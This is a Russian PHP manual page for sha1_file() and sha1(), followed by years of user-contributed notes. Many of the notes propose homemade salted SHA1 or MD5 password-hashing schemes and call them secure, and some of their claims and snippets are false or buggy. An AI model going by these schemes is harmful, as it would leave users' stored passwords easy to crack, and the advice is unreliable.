Возвращает строку в случае успешного выполнения, иначе возвращается false.

Примеры

Пример #1 Пример использования sha1_file()

<?php
foreach(glob('/home/Kalle/myproject/*.php') as $ent)
{
if(is_dir($ent))
{
continue;
}

echo $ent . ' (SHA1: ' . sha1_file($ent) . ')', PHP_EOL;
}
?>

Смотрите также

  • sha1() - Возвращает SHA1-хеш строки
  • md5_file() - Возвращает MD5-хеш файла
  • crc32() - Вычисляет полином CRC32 для строки

User Contributed Notes

xijque at gmail dot com 05-Jul-2011 07:13
Just for the record -

As some have pointed out, you have two ways to generate the hash of a file:
Method 1 [this function]: sha1_file($file)
Method 2: sha1(file_get_contents($file))

It's important to realize that these two methods are NOT the same thing. If they were, I seriously doubt this function would exist.

The key difference, as far as I can tell, is how the file's contents are loaded. The second method loads the entirety of $file into memory before passing it to sha1($str). Method two, however, loads the contents of $file as they are needed to create the hash.

If you can guarantee that you'll only ever have to hash relatively small files, this difference means very little. If you have larger ones, though, loading the entirety of file into memory is a bad idea: best case, you slow down your server as it tries to handle the request; worse case, you run out of memory and don't get your hash at all.

Just try to keep this in mind if you decide to load the file's contents yourself, in lieu of using this function. On my system, I was able to use this function to generate the hash of a 2.6GB file in 22 seconds, whereas I could not with the second method, due to an out-of-memory error (which took 185 seconds).
vista_ at live dot se 23-Nov-2008 04:05
<?php
     if(!function_exists('sha1_file'))
     {
          function sha1_file($file = null)
          {
               if(is_null($file) || !file_exists($file))
               {
                    return trigger_error('File is null or does not exists');
               }

               return sha1(file_get_contents($file));
          }
     }
?>

Remember, it's important to write a corret url like this:
/home/snackzon/public_html/php/sha1.php
schiros at invisihosting dot com 06-Sep-2007 07:02
If you've got a script that allows user file upload, and you want to prevent multiple uploads of the same file:

    <?
        session_start();
        $isDuplicate = false;
        if(isset($_FILES["filename"]["tmp_name"]) && file_exists($_FILES["filename"]["tmp_name"])) {
            $fileHash = sha1_file($_FILES["filename"]["tmp_name"]);
            if(!isset($_SESSION["check_filelist"])) {
                $_SESSION["check_filelist"] = array($fileHash);
            }
            elseif(in_array($fileHash,$_SESSION["check_filelist"])) {
                $isDuplicate = true;
            }
            else {
                $_SESSION["check_filelist"][] = $fileHash;
            }

            if($isDuplicate) {
                echo "You've already uploaded that file";
            }
            else{
                // do some stuff
            }
        }

    ?>
admin at cmsrevolution dot com 04-Aug-2006 08:02
checking the sha1 of the file. ideal for download scripts making sure the file the user is downloading is not currupt
by checking the sha1 key

<?php
$filename = './Path/To/Your/File.zip';

if (file_exists($filename)) {
echo"i see the file";
} else {
echo "recheck the link file maybe broken";
}
$file = sha1_file('./Path/To/Your/File.zip');

echo"<br>is file hash valid?";
echo"hash = add the hash here<br>";
echo"hash of file :";
print($file);
?>
gubatron at gmail dot com 10-Feb-2006 07:02
P2P programs like LimeWire utilize sha1 to identify files. However they do it in base32. Here's an utility class if you want to write a Gnutella client in PHP5

/**
Utility base32 SHA1 class for PHP5
Copyright (C) 2006  Karl Magdsick (original author for Python)
                    Angel Leon (ported to PHP5)
                    Lime Wire LLC

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/
class SHA1 {
  static $BASE32_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';

  /** Given a file it creates a magnetmix */
  static function fileSHA1($file) {
    $raw = sha1_file($file,true);
    return SHA1::base32encode($raw);
  } //fileSHA1

  /** Takes raw input and converts it to base32 */
  static function base32encode($input) {
    $output = '';
    $position = 0;
    $storedData = 0;
    $storedBitCount = 0;
    $index = 0;

    while ($index < strlen($input)) {
      $storedData <<= 8;
      $storedData += ord($input[$index]);
      $storedBitCount += 8;
      $index += 1;

      //take as much data as possible out of storedData
      while ($storedBitCount >= 5) {
        $storedBitCount -= 5;
        $output .= SHA1::$BASE32_ALPHABET[$storedData >> $storedBitCount];
        $storedData &= ((1 << $storedBitCount) - 1);
      }
    } //while

    //deal with leftover data
    if ($storedBitCount > 0) {
      $storedData <<= (5-$storedBitCount);
      $output .= SHA1::$BASE32_ALPHABET[$storedData];
    }

    return $output;
  } //base32encode

}


Возвращает SHA1-хеш строки

  • « sha1_file
  • similar_text »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает SHA1-хеш строки

sha1

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

sha1 — Возвращает SHA1-хеш строки

Внимание

Не рекомендуется использовать эту функцию для безопасного хранения паролей ввиду высокой скорости работы этого алгоритма. Подробнее об этом рассказано в разделе «Ответы на часто задаваемые вопросы по хешированию паролей».

Описание

sha1(string $string, bool $binary = false): string

Возвращает SHA1-хеш строки string, вычисленный по алгоритму » US Secure Hash Algorithm 1.

Список параметров

string

Входная строка.

binary

Если необязательный аргумент binary имеет значение true, хеш возвращается в виде бинарной строки из 20 символов, иначе он будет возвращён в виде 40-символьного шестнадцатеричного числа.

Возвращаемые значения

Возвращает SHA1-хеш в виде строки.

Примеры

Пример #1 Пример использования sha1()

<?php
$str = 'яблоко';

if (sha1($str) === '88b184adea10bf987b15257a5d6c5cb94eba69d3') {
echo "Желаете зелёное или красное яблоко?";
}
?>

Смотрите также

  • sha1_file() - Возвращает SHA1-хеш файла
  • crc32() - Вычисляет полином CRC32 для строки
  • md5() - Возвращает MD5-хеш строки
  • hash() - Генерирует хеш-код (подпись сообщения)
  • crypt() - Необратимое хеширование строки
  • password_hash() - Создаёт хеш пароля

User Contributed Notes

cneeds athome dot co dot bw 02-Dec-2017 03:20
The most secure way of sending passwords I have found so far

is to first ask for and receive a one-time code from the server

and mask (hash) the password being sent back to the server with the one-time code.
hkmaly 27-Nov-2017 10:16
Note: Before you get some idea like using sha1 with password as way to prevent others tampering with message, read pages "Length extension attack" and "Hash-based message authentication code" on wikipedia. In short, naive constructions can be dangerously insecure. Use hash_hmac if available or reimplement HMAC properly without shortcuts, like already shown in comment from  mark at dot BANSPAM dot pronexus dot nl.
jcastromail at yahoo dot es 02-Feb-2016 08:15
Hi there:

About the complexity of sha1, sha1 generates a code a different code each 1,4615016373309029182036848327163e+48 (2 ^ 160 bits).  So the chances of the use of the same hash is really small.

The "problem" of sha1 (and md5) is the speed of the generation. However, the speed is proportional with the length of the text to encrypt.

However, using a SALT, it increases tenfold times the security, even for a weak password.

In gross terms, a password of 6 characters can be hacked in a minute (if its store in md5 or sha).   However, a password of 7 characters takes an hour, a password of 8 a year and a password of more than 8 character is virtually inviable of hack.

However, if we used an SALT (a secret salt btw), then even a password of 3 characters will be really safe.

sha1('SALT SECRET TEXT!!@@@aaa0000'.'123');

And a double sha1 will ensure more safety

sha1(sha1('SALT SECRET TEXT'.'123',false),false)

It will require a rainbow table of 20 characters, enough big to be absurdly safe even for a thousand of servers running during a year.
Mohit Mishra 25-Dec-2014 06:52
A combination of md5() and sha1() could be used for creating more secured hash strings. Here is a function which exactly does this download it from http://Webgrape.in/download.php?fileid=10 .
marcin at marcinwolny dot net 29-Jul-2013 03:32
Keep in mind that MD5 is less secure than SHA1.
Older CPUs can calculate MD5 over twice as fast as SHA1. GPUs in parallel calculations can handle MD5 over 3 times as fast as SHA1!

Two Radeon 79xx-series GPUs can calculate a rainbow table for 6-character lowercase MD5 password in... roughly 6 seconds!

Source: http://www.codinghorror.com/blog/2012/04/speed-hashing.html
php at wbhostmax dot de 01-Aug-2012 10:57
<?php
function DoubleSaltedHash($pw, $salt) {
    return sha1($salt.sha1($salt.sha1($pw)));
}

function generate_salt() {
        $dummy = array_merge(range('0', '9'));
        mt_srand((double)microtime()*1000000);
        for ($i = 1; $i <= (count($dummy)*2); $i++)
        {
                $swap = mt_rand(0,count($dummy)-1);
                $tmp = $dummy[$swap];
                $dummy[$swap] = $dummy[0];
                $dummy[0] = $tmp;
        }
        return sha1(substr(implode('',$dummy),0,9));
}
$pw="geheim"
$salt=generate_salt();
echo "hash:".DoubleSaltedHash($pw, $salt);

?>

this is my way to crypt passwords
mgcummings at yahoo dot com 21-Mar-2011 12:46
Thought I might save someone else some time trying to figure out how to generate a hash like MySQL5 PASSWORD() makes using just PHP.

$hash = '*' . sha1(sha1($pass), TRUE));
rich dot sage at gmail dot com 25-Nov-2010 12:59
If you're using Dovecot for mail retrieval and you want to generate SHA1 passwords yourself, you'll need to set the raw_output value to true, then base64_encode the output:

<?php
function makeDovecotPassword($input)
{
  return '{SHA}' . base64_encode(sha1($input, true));
}
?>
Anonymous 28-Oct-2009 05:48
Another solution to the salted hash with salt included directly in the hash, while keeping the same length of the result. If you want to generate a hash, call the function without the second argument. If you want to check a password against a hash, use the hash as the second argument. In this case, the function returns the hash itself on success, or boolean false on failure. You can also specify a hash algorithm as the third argument (otherwise SHA-1 will be used).

<?php
function __hash($password, $obscured = NULL, $algorithm = "sha1")
{
  // whether to use user specified algorithm
  $mode = in_array($algorithm, hash_algos());
  // generate random salt
  $salt = uniqid(mt_rand(), true);
  // hash it
  $salt = $mode ? hash($algorithm, $salt) : sha1($salt);
  // get the length
  $slen = strlen($salt);
  // compute the actual length of salt we will use
  // 1/8 to 1/4 of the hash, with shorter passwords producing longer salts
  $slen = max($slen >> 3, ($slen >> 2) - strlen($password));
  // if we are checking password against a hash, harvest the actual salt from it, otherwise just cut the salt we already have to the proper size
  $salt = $obscured ? __harvest($obscured, $slen, $password) : substr($salt, 0, $slen);
  // hash the password - this is maybe unnecessary
  $hash = $mode ? hash($algorithm, $password) : sha1($password);
  // place the salt in it
  $hash = __scramble($hash, $salt, $password);
  // and hash it again
  $hash = $mode ? hash($algorithm, $hash) : sha1($hash);
  // cut the result so we can add salt and maintain the same length
  $hash = substr($hash, $slen);
  // ... do that
  $hash = __scramble($hash, $salt, $password);
  // and return the result
  return $obscured && $obscured !== $hash ? false : $hash;
}
?>

It uses a random, variable length salt, depending on the length of the password. The functions __scramble() and __harvest() are used to place salt into the hash or pull it out respectively. You can write your own, and of course the strength of the result greatly depends on them. They can be relatively simple yet still quite secure:

<?php
function __scramble($hash, $salt, $password)
{
  return substr($hash, 0, strlen($password)) . $salt . substr($hash, strlen($password));
}

function __harvest($obscured, $slen, $password)
{
  return substr($obscured, min(strlen($password), strlen($obscured) - $slen), $slen);
}
?>

Or they can be ridiculously complicated (my favourite kind):

<?php
function __scramble($hash, $salt, $password)
{
  $k = strlen($password); $j = $k = $k > 0 ? $k : 1; $p = 0; $index = array(); $out = ""; $m = 0;
  for ($i = 0; $i < strlen($salt); $i++)
  {
    $c = substr($password, $p, 1);
    $j = pow($j + ($c !== false ? ord($c) : 0), 2) % (strlen($hash) + strlen($salt));
    while (array_key_exists($j, $index))
      $j = ++$j % (strlen($hash) + strlen($salt));
    $index[$j] = $i;
    $p = ++$p % $k;
  }
  for ($i = 0; $i < strlen($hash) + strlen($salt); $i++)
    $out .= array_key_exists($i, $index) ? $salt[$index[$i]] : $hash[$m++];
  return $out;
}

function __harvest($obscured, $slen, $password)
{
  $k = strlen($password); $j = $k = $k > 0 ? $k : 1; $p = 0; $index = array(); $out = "";
  for ($i = 0; $i < $slen; $i++)
  {
    $c = substr($password, $p, 1);
    $j = pow($j + ($c !== false ? ord($c) : 0), 2) % strlen($obscured);
    while (in_array($j, $index))
      $j = ++$j % strlen($obscured);
    $index[$i] = $j;
    $p = ++$p % $k;
  }
  for ($i = 0; $i < $slen; $i++)
    $out .= $obscured[$index[$i]];
  return $out;
}
?>
paul 15-Apr-2009 06:57
I believe this offers best amount of protection using a random salt, that has to be stored so it can be used later for verification.

If no salt is given (which can be retrieved by halving the output and taking the first half), then it will generate a random salt, hash it, place it in a position relative to the length of password (between 0 and length of hash type(sha1? md5?)) within the hashed password, and then hash the complete string.

This results in a password hash using a salt that is dynamically placed dependant on password length. The salt used is then appended to the front of the finished hash so it can be retrieved later on for verifying.

Seeing as users will choose a typical password of between 5 and say 15 characters long, this gives them an extra 10 times the amount of dictionary attacks to try out with the hash as it could be placed in any position, because this is a random generated salt too, it means at least 10 dictionary attacks (with possiblity of upto 40) for each instance a password is created, to try and work out your sha1 encrypted password.

If you change your password say every month, even if someone gets a look in at your file through a local exploit, the amount of time to work out your password would far outweigh the frequency at which you change it.

Nothing is secure, but this should take them longer to work out then the time you change it. That is at least by todays technologies.

Paul

<?php
    function createHash($inText, $saltHash=NULL, $mode='sha1'){
        // hash the text //
        $textHash = hash($mode, $inText);
        // set where salt will appear in hash //
        $saltStart = strlen($inText);
        // if no salt given create random one //
        if($saltHash == NULL) {
            $saltHash = hash($mode, uniqid(rand(), true));
        }
        // add salt into text hash at pass length position and hash it //
        if($saltStart > 0 && $saltStart < strlen($saltHash)) {
            $textHashStart = substr($textHash,0,$saltStart);
            $textHashEnd = substr($textHash,$saltStart,strlen($saltHash));
            $outHash = hash($mode, $textHashEnd.$saltHash.$textHashStart);
        } elseif($saltStart > (strlen($saltHash)-1)) {
            $outHash = hash($mode, $textHash.$saltHash);
        } else {
            $outHash = hash($mode, $saltHash.$textHash);
        }
        // put salt at front of hash //
        $output = $saltHash.$outHash;
        return $output;
    }
?>
mVamer 07-Jan-2009 05:49
If I correctly understand what ranko84 is on about, this would be a simpler function with roughly the same result.

<?php
function obscure($password, $algorythm = "sha1")
{
        // Get some random salt, or verify a salt.
        // Added by (grosbedo AT gmail DOT com)
        if ($salt == NULL)
        {
            $salt = hash($algorythm, uniqid(rand(), true));
        }

    // Determine the length of the hash.
    $hash_length = strlen($salt);

    // Determine the length of the password.
    $password_length = strlen($password);

    // Determine the maximum length of password. This is only needed if
    // the user enters a very long password. In any case, the salt will
    // be a maximum of half the end result. The longer the hash, the
    // longer the password/salt can be.
    $password_max_length = $hash_length / 2;

    // Shorten the salt based on the length of the password.
    if ($password_length >= $password_max_length)
    {
        $salt = substr($salt, 0, $password_max_length);
    }
    else
    {
        $salt = substr($salt, 0, $password_length);
    }

    // Determine the length of the salt.
    $salt_length = strlen($salt);

    // Determine the salted hashed password.
    $salted_password = hash($algorythm, $salt . $password);

    // If we add the salt to the hashed password, we would get a hash that
    // is longer than a normally hashed password. We don't want that; it
    // would give away hints to an attacker. Because the password and the
    // length of the password are known, we can just throw away the first
    // couple of characters of the salted password. That way the salt and
    // the salted password together are the same length as a normally
    // hashed password without salt.
    $used_chars = ($hash_length - $salt_length) * -1;
    $final_result = $salt . substr($salted_password, $used_chars);

    return $final_result;
}
?>
ranko84 at gmail dot com 16-Dec-2008 08:11
Small update..., well more like fix to the obscure function, replace
<?php
if ($keepLength != NULL)
{
    if ($hSLength != 0)
    {
        $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
    }
}
?>

with

<?php
if ($keepLength != NULL)
{
    if ($hSLength != 0)
    {
        if ($hRPosition == 0)
        {
            $hPassHash = substr($hPassHash, $hLPosition);
        }
        else
        {
            $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
        }
    }
}
?>

I've been getting few requests to explain how it's used so, this might be little long.

Problems:
1. In most solutions with hash and salt, you were bound to have one extra row in your database that would state, preferably random, salt for that hashed data. If attacker would manage to get drop of your database he would get hashed data and salt that is used with plain data to make it obscure, and then cracking that hashed data would be same as if you didn't add any salt to it.
2. I stumbled upon some functions that would hash data, then input salt into random places in hash and store it in database, but they would still have to write down random parameter used to scramble salt so they could reuse it when validating data. Getting simple database drop wouldn't help much here, but if they would manage to get their hands on obscuring function too, they could easily see what is salt and what hash.

Solutions:
1. Why use extra row to store salt when you can input it in hash. I'm not sure how attackers determine what type of hash are they facing, but I guess it has connection to hash length. In that case, why make attackers job easier and store in database data_hash+salt where they could assume just by it's length it has salt in there.
Reason behind $keepLength. If it's set to 1, strlen of hashed data plus salt would be equal to strlen of hashed data leading attacker to believe there is no salt.
If you leave $keepLength on NULL, strlen of final result would be strlen(used_hash_algorithm)+$hSLength.
$minhPass is there to reserve enough place for string that has to be hashed, so someone using this function wouldn't accidentally delete it by setting too high salt length ($hSLength), for example... if you set it 30000 it will keep working normal.

2. If you think about it, constant, but variable value when making input would be same data that is being input.
In case we're trying to hash password, and have user A with password "notme", password strlen equals to 5, and if we use default parameters of the function, with $keepLength set to 1, process would be:
random salt, hash it, add first 5 characters of hashed_salt at beginning of plain password, add last 5 characters of hashed_salt at end of plain password, hash it. Replace first 5 characters of hashed_password with first 5 character of hashed_salt, do same with last 5 characters of hashed_password, return hashed_password.
In case that string is longer than 10 characters function would use simple mathematics to reduce it to numbers lower than 10, well... lower than number that is stated in $hSLength.
And good thing is that every time user enters correct password it has same length so it's not necessary to write it anywhere.

So what is achieved in the end?
1. Attacker might not know that hash is salted, and you don't have that extra row in your database stating THIS IS SALT FOR THIS HASH.
2. If he does find out that it is, he wouldn't know what is hashed password and what is salt.
3. If he manages to get access to obscure function, only thing that might help him is value of $hSLength, where if $hSLength is set to 10 he would have to crack 10 variations of hashed string since he doesn't know how long password of user he's trying to crack is.
For example first variation would be hashed_password without last 10 characters, second variation would be hashed_password without first character and last 9 characters...
4. Even in case he has enough power to crack all 10 variations, resulting string that he might get doesn't necessarily has to be exactly long as password of original user in which case, attacker fails again.
Andre D 08-Oct-2008 06:28
Here's a better version of the getDigestNotation() function I posted earlier. (The first version had a bug in the argument checking.)

<?php
function getDigestNotation($rawDigest, $bitsPerCharacter, $chars = NULL)
{
    if ($chars === NULL || strlen($chars) < 2) {
        $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-,';
    }

    if ($bitsPerCharacter < 1) {
        // $bitsPerCharacter must be at least 1
        $bitsPerCharacter = 1;

    } elseif (strlen($chars) < pow(2, $bitsPerCharacter)) {
        // Character length of $chars is too small for $bitsPerCharacter
        // Set $bitsPerCharacter to greatest value allowed by length of $chars
        $bitsPerCharacter = 1;
        $minCharLength = 2;

        while (strlen($chars) >= ($minCharLength *= 2)) {
            $bitsPerCharacter++;
        }

        unset($minCharLength);
    }

    $bytes = unpack('C*', $rawDigest);
    $byteCount = count($bytes);

    $out = '';
    $byte = array_shift($bytes);
    $bitsRead = 0;

    for ($i = 0; $i < $byteCount * 8 / $bitsPerCharacter; $i++) {

        if ($bitsRead + $bitsPerCharacter > 8) {
            // Not enough bits remain in this byte for the current character
            // Get remaining bits and get next byte
            $oldBits = $byte - ($byte >> 8 - $bitsRead << 8 - $bitsRead);

            if (count($bytes) == 0) {
                // Last bits; match final character and exit loop
                $out .= $chars[$oldBits];
                break;
            }

            $oldBitCount = 8 - $bitsRead;
            $byte = array_shift($bytes);
            $bitsRead = 0;

        } else {
            $oldBitCount = 0;
        }

        // Read only the needed bits from this byte
        $bits = $byte >> 8 - ($bitsRead + ($bitsPerCharacter - $oldBitCount));
        $bits = $bits - ($bits >> $bitsPerCharacter - $oldBitCount << $bitsPerCharacter - $oldBitCount);
        $bitsRead += $bitsPerCharacter - $oldBitCount;

        if ($oldBitCount > 0) {
            // Bits come from seperate bytes, add $oldBits to $bits
            $bits = ($oldBits << $bitsPerCharacter - $oldBitCount) | $bits;
        }

        $out .= $chars[$bits];
    }

    return $out;
}
?>
Andr D 06-Oct-2008 12:01
Sometimes you want the digest in both readable notation (such as hexadecimal) and raw binary. At other times you want the digest in a notation other than hexadecimal.

The following getDigestNotation() function takes a binary string and returns it in base 2, 4, 8, 16, 32, or 64 notation. It works with sha1(), md5(), hash(), or anything else that can output a raw binary string.

It works similar to the session.hash_bits_per_character php.ini configuration option.

You can specify which characters to use for each position, or use the default, which matches session.hash_bits_per_character (0-9, a-z, A-Z, "-", ","). The practical range of bits to use per character ($bitsPerCharacter) is 1 to 6; you may use more, but you will have to provide your own base character string ($chars) that is at least pow(2, $bitsPerCharacter) characters long. So even with 7 bits per character you need to specify a value for $chars that is 128 characters long, which exceeds the number of printable ASCII characters.

The output's radix relates to the value of $bitsPerCharacter as follows:
1: base-2 (binary)
2: base-4
3: base-8 (octal)
4: base-16 (hexadecimal)
5: base-32
6: base-64

<?php
$raw = sha1(uniqid(mt_rand(), TRUE), TRUE);

echo getDigestNotation($raw, 6);

function getDigestNotation($rawDigest, $bitsPerCharacter, $chars = NULL)
{
    if ($chars === NULL || strlen($chars) < 2) {
        $chars '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-,';
    }

    if ($bitsPerCharacter < 1) {
        // $bitsPerCharacter must be at least 1
        $bitsPerCharacter = 1;

    } elseif (strlen($chars) < pow(2, $bitsPerCharacter)) {
        // Character length of $chars is too small for $bitsPerCharacter
        // Set $bitsPerCharacter to greatest value allowed by length of $chars
        $bitsPerCharacter = 1;

        do {
            $bitsPerCharacter++;
        } while (strlen($chars) > pow(2, $bitsPerCharacter));
    }

    $bytes = unpack('C*', $rawDigest);
    $byteCount = count($bytes);

    $out = '';
    $byte = array_shift($bytes);
    $bitsRead = 0;

    for ($i = 0; $i < $byteCount * 8 / $bitsPerCharacter; $i++) {

        if ($bitsRead + $bitsPerCharacter > 8) {
            // Not enough bits remain in this byte for the current character
            // Get remaining bits and get next byte
            $oldBits = $byte - ($byte >> 8 - $bitsRead << 8 - $bitsRead);

            if (count($bytes) == 0) {
                // Last bits; match final character and exit loop
                $out .= $chars[$oldBits];
                break;
            }

            $oldBitCount = 8 - $bitsRead;
            $byte = array_shift($bytes);
            $bitsRead = 0;

        } else {
            $oldBitCount = 0;
        }

        // Read only the needed bits from this byte
        $bits = $byte >> 8 - ($bitsRead + ($bitsPerCharacter - $oldBitCount));
        $bits = $bits - ($bits >> $bitsPerCharacter - $oldBitCount << $bitsPerCharacter - $oldBitCount);
        $bitsRead += $bitsPerCharacter - $oldBitCount;

        if ($oldBitCount > 0) {
            // Bits come from seperate bytes, add $oldBits to $bits
            $bits = ($oldBits << $bitsPerCharacter - $oldBitCount) | $bits;
        }

        $out .= $chars[$bits];
    }

    return $out;
}
?>

Lastly, depending on the digest length, there may be fewer bits remaining for the last character than $bitsPerCharacter, so the last character will be smaller. The same thing happens with PHP's session ID generator, when 5 or 6 is used for session.hash_bits_per_character.
ranko84 at gmail dot com 08-May-2008 07:12
Thanks for the feedback. This should do the trick, I hope.
I think that I haven't understood this sentence completely "In this case you will need the salt to reside in the database along with the username and password." As in, were you refering to previous method, this method or this function.
Salt already resides in database along with username, password, or any string you decide to hash. This function just scrambles it depending on length of string (password) user enters so that attacker has trouble finding out what is salt and what is hash, if attacker even suspects that there is salt (reasons behind $keepLength, or defining $hSLength where you could set it to 24 leading attacker to believe he's facing sha256, not sha1).

<?php
function obscure ($hString, $hDecode = NULL, $hSLength = 10, $keepLength = NULL, $minhPass = 10, $hMethod = sha1)
{
    if ($hDecode == NULL)
    {
        for ($i = 0; $i<16; $i++)
        {

            $hSalt = rand(33, 255);
            $hRandomSalt .= chr($hSalt);
        }
        $hRandomSalt = hash($hMethod, $hRandomSalt);
    }
    else
    {
        $hRandomSalt = $hDecode;
    }

    if ($keepLength != NULL)
    {

        if ($hSLength > (strlen($hRandomSalt) - $minhPass))
        {
            $hSLength = (strlen($hRandomSalt) - $minhPass);
        }
    }
    else if ($hSLength < 0)
    {
        $hSLength = 0;
    }

    $hLPosition = strlen($hString);

    while ($hLPosition > $hSLength)
    {
        $hNumber = substr($hLPosition, -1);

        $hLPosition = $hLPosition * ($hNumber/10);
    }

    $hLPosition = (integer)$hLPosition;
    $hRPosition = $hSLength - $hLPosition;

    $hFSalt = substr($hRandomSalt, 0, $hLPosition);
    $hLSalt = substr($hRandomSalt, -$hRPosition, $hRPosition);

    $hPassHash = hash($hMethod, ($hLSalt . $hString . $hFSalt));

    if ($keepLength != NULL)
    {
        if ($hSLength != 0)
        {
            $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
        }
    }

    return $hFSalt . $hPassHash . $hLSalt;
}
?>
nathan 25-Feb-2008 08:11
The suggestion below to double-hash your password is not a good idea.  You are much much better off adding a variable salt to passwords before hashing (such as the username or other field that is dissimilar for every account).

Double hashing is *worse* security than a regular hash.  What you're actually doing is taking some input $passwd, converting it to a string of exactly 32 characters containing only the characters [0-9][A-F], and then hashing *that*. You have just *greatly* increased the odds of a hash collision (ie. the odds that I can guess a phrase that will hash to the same value as your password).

sha1(md5($pass)) makes even less sense, since you're feeding in 128-bits of information to generate a 256-bit hash, so 50% of the resulting data is redundant.  You have not increased security at all.
ERASEthemasterswordsman at gmail dot com 10-Feb-2008 06:09
Please note that hashing a has is not completely secure, but can be used as an extra precaution (but not recommended):

<?php

sha1(md5($string));

?>
NoName 13-Sep-2007 03:26
Regarding the twistSTR - the problem is that currently it is relatively easy to generate a collision for any alphanumeric plaintext of a given, short length via e.g. a rainbow table. You're bettter off using a sufficiently lengthy and random salt.
novum123 at ribbonbazaar dot com 29-Nov-2006 08:54
So far as the dictionary attacks are concerned, I thought up the following function:

<?php
function twistSTR($array){
  $twisted="";
  $array_strlen=array();

  foreach ($array as $element){
    $array_strlen[]=strlen($element);
  }

  for ($i=0; $i<max($array_strlen); $i++){
    foreach ($array as $element){
      if ($i<strlen($element)){
        $twisted=$twisted.$element{$i};
      }
    }
  }

  return $twisted;
}
?>

The twistSTR function basically takes an array input of strings and alternates each character of each string among all the other strings.  For example:

<?php
echo twistSTR(array("this","and","that"));//output: tathnhidast
?>

It can be applied in the following manner:

<?php
if ($un===$_POST["username"] && $pwd===sha1(twistSTR(array($salt,$_POST["password"])))){
?>

It's not amazingly difficult to reverse engineer the actual output, but then again, that's not the point.  The point is that when a password is entered into one of those databases, they are going to enter for example "thisandthat", not "tathnhidast".
Gregory Boshoff 18-Oct-2006 04:23
Note that the sha1 algorithm has been compromised and is no longer being used by government agencies.

As of PHP 5.1.2 a new set of hashing functions are available.

http://www.php.net/manual/en/function.hash.php

The new function hash() supports a new range of hashing methods.

echo hash('sha256', 'The quick brown fox jumped over the lazy dog.');

It is recommended that developers start to future proof their applications by using the stronger sha-2, hashing methods such as sha256, sha384, sha512 or better.

As of PHP 5.1.2 hash_algos() returns an array of system specific or registered hashing algorithms methods that are available to PHP.

print_r(hash_algos());
erling dot westenvik at gmail dot com 17-May-2006 06:15
Regarding php at REMOVEMEkennel17 dot co dot uk's note below:

The phrase: "To get the correct behaviour", would perhaps be better off if it read: "To get the wanted (but not recommended) behaviour".

Always honor the expected data types for functions: sha1 expects a string as input, and returns a string on exit. NULL, TRUE and FALSE are not string data types. The string "" is a string as good as "any". By following the "logic" that sha1("") should return "", then what should sha1("a") return? "b"? "c"?

An authentication system that allows for blank passwords is not really an authentication system in the first place. What you are describing is merely a way to tell the application that you want to see data in some specific context, like sorted by user name, etc. Create other tools for this purpose and leave the authentication system to deal with what it is supposed to do: Granting users access to restricted data and blocking other users from seeing the same data.

Don't store passwords in clear text, but salt and encrypt them. That way it makes perfect sense having <?php $sStoredPwd === sha1($sStoredSalt . $_POST["sTypedPwd"]); ?>, even with a blank "password". No other person than the user itself, not even the programmer, should know the password or be able to guess it. If the user forgets the password, a new one must be generated.

Regards,
Erling
php at REMOVEMEkennel17 dot co dot uk 19-Sep-2005 06:52
It should be noted that sha1("") does not return an empty string.  This means that if you are running a system that does not require users to have a password, the following code will not work as expected:

<?php
if ($StoredPassword == sha1($NewPassword))
    // Password good
?>

If $StoredPassword and $NewPassword are both blank, then the password should be treated as good, but because sha1("") != "" it will be treated as bad. To get the correct behaviour you need to use:

<?php
if (($StoredPassword == "" && $NewPassword == "") || ($StoredPassword == sha1($NewPassword)))
    // Password good
?>

(Note: I use a custom IsBlank() function instead of comparison against the empty string, so NULL values are also matched.)

For reference, here are a couple of special values put through sha1().  Note that sha1("") == sha1(NULL) == sha1(false), and also that sha1(0) != sha1(false)

"" -> da39a3ee5e6b4b0d3255bfef95601890afd80709
NULL -> da39a3ee5e6b4b0d3255bfef95601890afd80709
0 -> b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
1 -> 356a192b7913b04c54574d18c28d46e6395428ab
false -> da39a3ee5e6b4b0d3255bfef95601890afd80709
true -> 356a192b7913b04c54574d18c28d46e6395428ab
Dan 05-Sep-2005 10:12
I've noticed websites are now starting to require passwords of a certain length that MUST contain at least 1 non-alphanumeric character. This in itself makes dictionary attacks kind of useless. My web site requires that as well. It uses md5, and appends a site code into the md5 as well. And the include file that contains that site key is outside the public folders. I sure hope I've done enough to keep the bad boys out.
WTM 03-Aug-2005 07:30
Actually, the post by Helpful Harry won't improve your security except for the most simple break in attempts.  Since the random seed is attached to the end of the password hash, if you steal the hashed password, you steal the seed.

That means you can write a simple php program to call the pw_check function Harry included from a loop, feeding it dictionary words or random characters.

Of course, if you modified the program to use the seed in a more complicated way, "they" would have to know the new function's operation.  But then again, if someone can steal your password database, they can probably steal your website code (or guess it).
Helpful Harry 06-Jul-2005 10:21
check out these randomized sha1 password storage functions, they output a string of 50 characters, the first 40 characters being a sha1 output based on the last 10 characters - those being a random seed

to encode a password run pw_encode with the password, it'll return a different pseudo-random string every time - store this value.

to check a password run pw_check with the password attempt and the stored value, it'll return true on a match and false otherwise

these functions eliminate the pesky problem of dictionary matches being run on your password lists

<?php

function pw_encode($password)
{
   for ($i = 1; $i <= 10; $i++)
       $seed .= substr('0123456789abcdef', rand(0,15), 1);
   return sha1($seed.$password.$seed).$seed;
}

function pw_check($password, $stored_value)
{
   if (strlen($stored_value) != 50)
      return FALSE;
   $stored_seed = substr($stored_value,40,10);
   if (sha1($stored_seed.$password.$stored_seed).$stored_seed == $stored_value)
     return TRUE;
   else
     return FALSE;
}

?>
alex at milivojevic dot org 28-Apr-2005 02:12
